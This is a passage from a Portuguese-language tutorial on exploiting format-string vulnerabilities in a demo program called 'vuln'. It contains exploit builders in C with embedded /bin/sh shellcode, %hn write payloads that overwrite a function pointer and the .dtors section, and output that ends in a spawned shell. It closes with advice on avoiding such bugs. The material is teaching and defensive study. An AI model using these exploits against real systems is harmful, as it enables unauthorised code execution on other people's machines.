Contudo, na realidade, o programa vulnerável não é tão simpático com o exemplo anterior. Introduziremos um método que nos permitirá pôr o código da shell na memória e devolver o seu endereço exacto (o que significa que não é adicionado mais nenhum NOP ao principio do código da shell).

A ideia baseia-se em chamadas recursivas à função exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0) 
    exit(0);
  execve(argv[0], arg, env);
}
A entrada é um inteiro nb o qual o programa chamará recursivamente a si próprio nb+1 vezes:
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

Verificamos imediatamente que os endereços alocados para o arg e argv não se alteram mais após a segunda chamada. Vamos utilizar esta propriedade na nossa exploração. Só temos de modificar ligeiramente o nosso programa build de maneira a que se chame a si próprio antes de chamar o vuln. Então, obtemos o endereço exacto de argv e o do nosso código da shell.:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Same function as in build.c
}

int
main(int argc, char **argv) {
  
  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
        argv[2],
        atoi(argv[4]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

O truque é que nós sabemos o que chamar segundo o número de argumentos que o programa recebeu. Para iniciar a nossa exploração, damos somente ao build2 o endereço para o qual queremos escrever e o comprimento. Já não temos de dar mais o valor visto que é avaliado nas chamadas sucessivas.

Para termos sucesso, precisamos de montar a mesma estrutura da memória nas diferentes chamadas do build2 e depois do vuln (é por isso que chamamos a função build(), no sentido de utilizar a mesma impressão digital da memória):

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Porque é que isto não trabalha? Dissemos que tínhamos de construir a cópia exacta da memória entre as duas chamadas ... e não o fizemos! O argv[0] (o nome do programa) alterou-se. O nosso programa é primeiro chamado build2 (6 bytes) e depois o vuln (4 bytes). Existe uma diferença de 2 bytes, o que é exactamente o valor que pode reparar no exemplo acima. O endereço do código da shell durante a segunda chamada do build2 é dado por sc=0xbffff88f mas o conteúdo do argv[2] no vuln20xbffff891: os nossos 2 bytes. Para resolver isto, basta renomear o nosso build2 para somente 4 letras, por exemplo bui2:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$ 

Ganhámos Novamente : Trabalha muito melhor deste modo ;-) O eggshell está na pilha e alterámos o endereço apontado por ptrf para o novo código da shell. Claro, que só pode acontecer se a pilha for executável.

Mas vimos que a formatação de strings permitem-nos escrever em qualquer sítio: adicionemos um destruidor ao nosso programa na secção .dtors:

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........        
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Aqui, não é criado nenhum coredump ao sair do destruidor. Isto deve-se ao facto do código da shell conter uma chamada exit(0).

Em conclusão, como último presente, aqui está o build3.c que também dá a shell, mas passado de uma variável de ambiente:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Même fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else 
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
    
  return 0;
}

Mais uma vez, visto que este ambiente está na pilha, precisamos de ter cuidado para não modificar a memória (por exemplo alternando a posição das variáveis e dos argumentos) O nome binário deve ter o mesmo número de caracteres que o nome do programa vulnerável vuln tem.

Aqui, escolhemos utilizar a variável extern char **environ para definir os valores que precisamos:

  1. environ[0]: contém o código da shell;
  2. environ[1]: contém o endereço onde esperamos escrever;
  3. environ[2]: contém o comprimento.
Deixamo-lo, a jogar com ... este (longo) artigo já muito preenchido com muito código e programas de teste.

Conclusão : Como evitar bugs de formatação ?

Como mostrado no artigo, o principal problema com este bug provém da liberdade dada ao utilizador para construir a sua própria string de formatação. A solução para evitar tal falha é simples: Nunca deixe um utilizador fornecer a seu própria string de formatação! Muitas vezes isto simplesmente significa inserir uma string "%s" quando funções como o printf(), o syslog(), ..., são chamadas. Se realmente não conseguir evitar isto, então tem de verificar cuidadosamente todas as entradas dadas pelo utilizador muito cuidadosamente.

Agradecimentos

Os autores agradecem a Pascal Kalou Bouchareine pela sua paciência (ele teve de encontrar porque é que a nossa exploração com o código da shell na pilha não funcionava ... e também o porquê desta mesma pilha não estar executável), suas ideias (mais particularmente pelo truque exec*()), pelos seus encorajamentos ... mas também pelo seu artigo acerca de bugs de formatação o qual causou, em adição ao nosso interesse na questão, uma intensa agitação cerebral ;-)

Links


Notas de Rodapé

... commands1
a palavra command significa aqui tudo o que afecta a formatação de strings: o tamanho, a precisão, ...
... bytes2
o -1 provém do último caracter reservado para o '\0'.